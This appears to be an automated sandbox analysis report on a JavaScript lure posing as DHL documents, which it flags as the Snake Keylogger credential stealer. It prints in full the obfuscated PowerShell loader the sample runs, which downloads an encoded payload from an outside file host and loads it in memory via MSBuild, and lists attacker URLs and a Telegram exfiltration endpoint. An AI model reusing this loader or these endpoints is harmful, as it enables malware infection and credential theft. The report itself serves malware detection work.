Source: global traffic	DNS traffic detected: DNS query: kismetguzelim.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2955066393.0000000002AE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: wscript.exe, 00000000.00000002.1732195649.000001DCC32FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chemas.micrsoft.com/widows/2003/0/printing/pintschemafrmework
Source: powershell.exe, 00000001.00000002.1812182640.000001A448BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kismetguzelim.com
Source: powershell.exe, 00000001.00000002.1827359098.000001A456FD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1812182640.000001A447182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002B0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002B0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: powershell.exe, 00000001.00000002.1812182640.000001A446F61000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2955066393.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1812182640.000001A447182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1812182640.000001A447182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://3005.filemail.com
Source: powershell.exe, 00000001.00000002.1812133774.000001A446C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS
Source: powershell.exe, 00000001.00000002.1811942715.000001A445405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://3005.filemail.com/api/file/get?filekey=nix_5t0lxhobjilnb9crviabpjrw2dlc-lxeodjpf_z_1mp6cuqbs
Source: powershell.exe, 00000001.00000002.1812182640.000001A446F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: powershell.exe, 00000001.00000002.1827359098.000001A456FD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1827359098.000001A456FD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1827359098.000001A456FD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1812182640.000001A447182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dahall/taskscheduler
Source: powershell.exe, 00000001.00000002.1812182640.000001A448BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kismetguzelim.com
Source: powershell.exe, 00000001.00000002.1812182640.000001A448BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kismetguzelim.com/sek.txt
Source: powershell.exe, 00000001.00000002.1827359098.000001A456FD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 193.30.119.105:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.253.39.62:443 -> 192.168.2.4:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, UltraSpeed.cs

.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Sample has a suspicious name (potential lure to open the executable)

Source: DHl-Global-Documents.js

Static file information: Suspicious name

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD993BA37C	1_2_00007FFD993BA37C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD99481B89	1_2_00007FFD99481B89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_010FC530	3_2_010FC530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_010F9480	3_2_010F9480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_010FC521	3_2_010FC521
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_010F946F	3_2_010F946F

Source: DHl-Global-Documents.js

Initial sample: Strings found which are bigger than 50

Source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winJS@6/3@4/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1foinhs.3ra.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000003.00000002.2955066393.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2955066393.0000000002B53000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2955066393.0000000002B63000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DHl-Global-Documents.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
